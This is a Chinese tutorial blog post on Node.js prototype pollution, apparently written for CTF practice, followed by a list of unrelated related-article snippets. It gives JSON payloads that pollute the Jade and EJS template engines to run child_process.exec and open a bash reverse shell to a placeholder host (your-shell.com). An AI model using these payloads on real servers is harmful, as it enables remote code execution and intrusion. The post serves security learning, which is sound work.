Node污染 (Node.js)

news2024/12/23 10:57:29

🎼个人主页:金灰

😎作者简介:一名简单的大一学生;易编橙·终身成长社群的嘉宾.✨

专注网络空间安全服务,期待与您的交流分享~

感谢您的点赞、关注、评论、收藏、是对我最大的认可和支持!❤️

🍊易编橙·终身成长社群🍊 : http://t.csdnimg.cn/iSLaP 期待您的加入~

免责声明:本文仅做分享~

目录

Node介绍

发展

Node常见的模板:

原型污染原理:

调试配置:(vscode)

jade模板污染链:

ejs的模板污染:


Node介绍

Node.js发布于2009年
Chrome V8引擎下的JavaScript运行环境

JavaScript js   xx.js
Java 
两者的关系,就和雷锋与雷峰塔的关系一样.

jquery VUE  (前端框架)

Chrome V8 深入支持JavaScript运行环境.

js只能操作 浏览器页面内的内容.

dom  h1 table form 
event 事件监听  --左键 右键  滑块  双击  跳转  异步请求 ajax 

发展

围绕页面,设计时,为了安全,js无法-->
1 调用操作系统api (没有办法弹出计算器)
2 访问操作系统的文件系统,最多是操作Cookie ,解决xss问题,HttpOnly 防止js钓鱼

原因就是js代码,由服务端发送给浏览器执行.

如果能够操作系统api和访问文件系统,那么只要访问含义恶意的js代码的网址.
就会执行本地的命令,明显,不合乎逻辑!

浏览器也是建立 沙箱环境 来执行js,目前已经极难看到js能够直接调用本地客户端的 api 或者 执行命令.
除IE浏览器,
js发展到后面,也就执行页面上的操作,不能执行其他操作.

js作为前端渲染用,不可或缺.

再用v8引擎增加功能,让js能够操作操作系统api和访问文件系统,
那么js也就可以作为后端,http服务器,处理逻辑问题了
-->
结果,前后端都用的js 
--2个人干的活,现在只需要1个人干

node -v    # 安装成功>
npm -v  # 扩展版本     pip

Node常见的模板:

express 渲染模板      --与 render_template 有点类似
Pug    --旧版叫jade	jade
Mustache
EJS
--处理数据如何附加到html页面上用的.
(插入数据的地方,写个标记,别人替换的时候,找这个标记,然后替换它对应的值.)
这个标记就是模板语法.

jade的模板     #{username}
ejs的模板语法  <%=usenrame %>
--告诉引擎,要把什么标记替换为什么数据.

原型污染原理:

子类通过__proto__执行父类,可以给父类增加没有的属性.
例:
var flag='flag_here';
  var secert = {};
  var sess = req.session;
  let user = {};
  utils.copy(user,req.body);
  if(secert.ctf==='36dboy'){
    res.end(flag);
  }else{
    return res.json({ret_code: 2, ret_msg: '登录失败'+JSON.stringify(user)});  
  }
污染--->
    发包时json格式.
object
{"username":"admin","password":"123123",
	"__proto__":{
	"ctf":"36dboy"
}
}
本来object对象没有ctf属性.
通过user对象执行父类的__proto__属性,拿到了object对象的引用,
然后给object对象 增加了一个ctf属性,赋值为了36dboy.
然后,当访问secret对象的ctf属性时,由于自己没有ctf属性.
就去父类也就是object类去找secret,刚好有,就拿出来用了.

调试配置:(vscode)

{
    // 使用 IntelliSense 了解相关属性。 
    // 悬停以查看现有属性的描述。
    // 欲了解更多信息,请访问: https://go.microsoft.com/fwlink/?linkid=830387
    "version": "0.2.0",
    "configurations": [
        {
            "type": "node",
            "request": "launch",
            "name": "Launch Program",
            "skipFiles": [
                "<node_internals>/**"
            ],
            "program": "${workspaceFolder}\\app\\app2.js"
        }
    ]
}

关键代码(附件):
var user = new function(){
    this.userinfo = new function(){
    this.isVIP = false;
    this.isAdmin = false;
    this.isAuthor = false;     
    };
  };
  utils.copy(user.userinfo,req.body);
  if(user.userinfo.isAdmin){
    return res.json({ret_code: 0, ret_msg: '登录成功'});  
  }else{
    return res.json({ret_code: 2, ret_msg: '登录失败'});  
  }

抓包-->

jade模板污染链:

{
  "__proto__": {
    "__proto__": {
      "type": "Block",
      "nodes": "",
      "compileDebug": 1,
      "self": 1,
      "line": "global.process.mainModule.require('child_process').exec('bash -c \"bash -i >& /dev/tcp/your-shell.com/3389 0>&1\"')"
    }
  }
}
我们通过原型污染,修改了模板的某个属性的值.
然后模板引用里面的字符串,实现了Node js的代码执行.

 

ejs的模板污染:

{"__proto__":{"__proto__":{"outputFunctionName":"_tmp1;global.process.mainModule.require('child_process').exec('bash -c \"bash -i >& /dev/tcp/xxx/4567 0>&1\"');var __tmp2"}}}


{"__proto__":{"__proto__":{"outputFunctionName":"_tmp1;global.process.mainModule.require('child_process').exec('bash -c \"bash -i >& /dev/tcp/your-shell.com/3389 0>&1\"');var __tmp2"}}}

(污染错就必须重置环境,,,,)

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/1970414.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

C语言指针(Pointer)

指针与底层硬件联系紧密&#xff0c;使用指针可操作数据的地址&#xff0c;实现数据的间接访问 问题&#xff1a;这好好的一个变量&#xff0c;我定义完之后为啥不用它名字直接访问呢&#xff1f;我非要用间接访问&#xff0c;这不没事找事吗&#xff1f; 为什么需要指针? …

18.C语言函数相关练习题2

函数相关练习题2 1.不同班级的平均分2.二维数组和函数的概念3.外部变量和全局变量4.全局变量的例子5.输入10个数&#xff0c;找出最大数及最大数的下标 1.不同班级的平均分 #include <stdio.h>void inityarry(int arr[],int len){int i;for(i0;i<len;i){printf("…

【第八天】DNS及其查询过程

DNS及其查询过程 什么是DNS&#xff1f; 一般我们的主机&#xff0c;服务器都有一个ip地址&#xff0c;例如10.10.10.1。在计算机层面&#xff0c;如果我们要发送请求的话&#xff0c;首先就要知道我们的目标&#xff0c;也就是对方的ip地址。而IP地址很难记&#xff0c;比如…

初学者编程指南:方法与资源推荐

一、引言 编程已成为当代大学生的必备技能&#xff0c;但面对众多编程语言和学习资源&#xff0c;新生们常常感到迷茫。如何选择适合自己的编程语言&#xff1f;如何制定有效的学习计划&#xff1f;如何避免常见的学习陷阱&#xff1f;编程不仅是技术领域的一项基本技能&#…

H.264编码中的16x16宏块分析

&#x1f60e; 作者介绍&#xff1a;欢迎来到我的主页&#x1f448;&#xff0c;我是程序员行者孙&#xff0c;一个热爱分享技术的制能工人。计算机本硕&#xff0c;人工制能研究生。公众号&#xff1a;AI Sun&#xff08;领取大厂面经等资料&#xff09;&#xff0c;欢迎加我的…

快速索引alarm添加

快速索引alarm添加 添加预警alarm 文件夹和 temp_led.c , temp_led.h , humi_led.c, humi_led.h (1)点击品字, 添加alarm, 然后增加文件, 点进Source文件夹 (2)点击新建文件夹, 然后新建alarm文件夹 (3)把文件类型切换为all, 方便后续右键添加上述四个文件名字. (4)空白处, 右…

社区团购的全流程解析与开源AI智能名片S2B2C商城小程序的应用探索

摘要&#xff1a;随着互联网技术的飞速发展&#xff0c;社区团购作为一种新兴的电商模式&#xff0c;凭借其高效、便捷、低成本的优势迅速崛起。本文旨在深入探讨社区团购的交易全流程&#xff0c;并以开源AI智能名片S2B2C商城小程序为例&#xff0c;分析其在社区团购中的创新应…

Nginx进阶-常见配置

一、nginx Proxy 反向代理 1、代理原理 反向代理产生的背景&#xff1a; 在计算机世界里&#xff0c;由于单个服务器的处理客户端&#xff08;用户&#xff09;请求能力有一个极限&#xff0c;当用户的接入请求蜂拥而入时&#xff0c;会造成服务器忙不过来的局面&#xff0c…

计算机毕业设计选题推荐-预制菜平台-Java/Python项目实战

✨作者主页&#xff1a;IT毕设梦工厂✨ 个人简介&#xff1a;曾从事计算机专业培训教学&#xff0c;擅长Java、Python、微信小程序、Golang、安卓Android等项目实战。接项目定制开发、代码讲解、答辩教学、文档编写、降重等。 ☑文末获取源码☑ 精彩专栏推荐⬇⬇⬇ Java项目 Py…

传输限速的方案那么多,却都没有这一个全面

在很多行业和领域&#xff0c;传输速度并不是无限制地越快越好&#xff0c;反而基于很多原因&#xff0c;在很多情况下&#xff0c;需要对传输的速度进行限制&#xff0c;原因如下&#xff1a; 带宽分配&#xff1a;在有限的网络资源下&#xff0c;对传输进行限速可以确保关键…

MIT-离散数学笔记

离散数学 PropositionEx 1:Ex 2:Ex 3:Ex 4:Ex 5:Ex 6:Ex 7:Ex 8: Proposition In mathematics, we have a mathematical proof is a verification of a proposition by a chain of logical deductions from a set of axioms. 在数学中&#xff0c;数学证明是通过一组公理的一系…

强化学习-alphazero 算法理论

一、算法简介 简单地说&#xff0c;AlphazeroMCTS SL(策略网络价值网络) Selfplay resnet。 其中MCTS指的是蒙特卡洛树搜索&#xff0c;主要用于记录所有访问过的棋盘状态的各种属性&#xff0c;包括该状态访问次数&#xff0c;对该状平均评价分数等。 SL指监督学习算法&…

PCDN技术如何提高数据传输的可靠性?

PCDN技术通过以下方式提高数据传输的可靠性: 1.负载均衡与故障转移: PCDN系统具备负载均衡的能力&#xff0c;可以根据节点的负载情况动态分配请求&#xff0c;避免单点故障和过载情况。此外&#xff0c;当某个节点发生故障时&#xff0c;PCDN可以迅速将流量转移到其他可用节…

OpenAI推出GPT-4o长输出版版本

&#x1f989; AI新闻 &#x1f680; OpenAI推出GPT-4o长输出版版本 摘要&#xff1a;OpenAI宣布正在测试每次请求可输出最多64K tokens的GPT-4o长输出版版本&#xff0c;目前仅Alpha测试参与者可使用。该版本推理成本较高&#xff0c;定价每百万tokens输入6美元&#xff0c;…

从微架构到向量化--CPU性能优化指北

引入 定位程序性能问题&#xff0c;相信大家都有很多很好的办法&#xff0c;比如用top/uptime观察负载和CPU使用率&#xff0c;用dstat/iostat观察io情况&#xff0c;ptrace/meminfo/vmstat观察内存、上下文切换和软硬中断等等&#xff0c;但是如果具体到CPU问题&#xff0c;我…

用于跟踪个人图书馆的BookLogr

什么是 BookLogr &#xff1f; BookLogr 是一款网络应用&#xff0c;旨在帮助您轻松管理个人图书馆。这项自托管服务可确保您完全控制数据&#xff0c;提供安全且私密的方式来跟踪您拥有、阅读或希望阅读的所有书籍。您也可以选择向公众自豪地展示您的图书馆&#xff0c;与您的…

申请流量卡不通过,这是什么原因呢,又该如何解决?

在申请流量卡时&#xff0c;有些人会出现被拒绝的情况&#xff0c;你知道这是怎么回事吗&#xff1f;申请流量卡被拒绝又该如何解决呢&#xff1f;下面这些问题都给你整理下了&#xff01; ​ 常见原因&#xff1a; 1.信息有误&#xff1a;收件人/办卡人&#xff1a;必须是同一…

How to specify the LangSmith project name for each Chain?

题意&#xff1a;如何为每个链指定LangSmith项目名称&#xff1f; 问题背景&#xff1a; According to the LangSmith documentation you need to set the LANGCHAIN_PROJECT environment variable to specify the project name in langsmith. 根据LangSmith的文档&#xff0…

Vmware ubuntu20.04 虚拟文件夹

目录 1.vmware 设置 2.ubuntu设置 1.vmware 设置 设置完成后我们开机 2.ubuntu设置 我们打开终端 输入命令 vmware-hgfsclient可以看到你当前的共享文件 然后我们输入以下命令&#xff0c;用于将共享文件夹挂载到虚拟机中 sudo vmhgfs-fuse .host:/ /mnt -o nonempty -o …

(24)(24.1) FPV和仿真的机载OSD(一)

文章目录 前言 1 参数 2 第二OSD 3 屏幕和屏幕切换 4 面板项目 5 呼号面板 6 用户可编程警告 7 使用SITL测试OSD 8 OSD面板列表 前言 使用 MAX7456 型芯片的板载操作系统和基于 MSP 的外部操作系统&#xff08;包括 DJI 护目镜和使用DisplayPort 的护目镜&#xff09…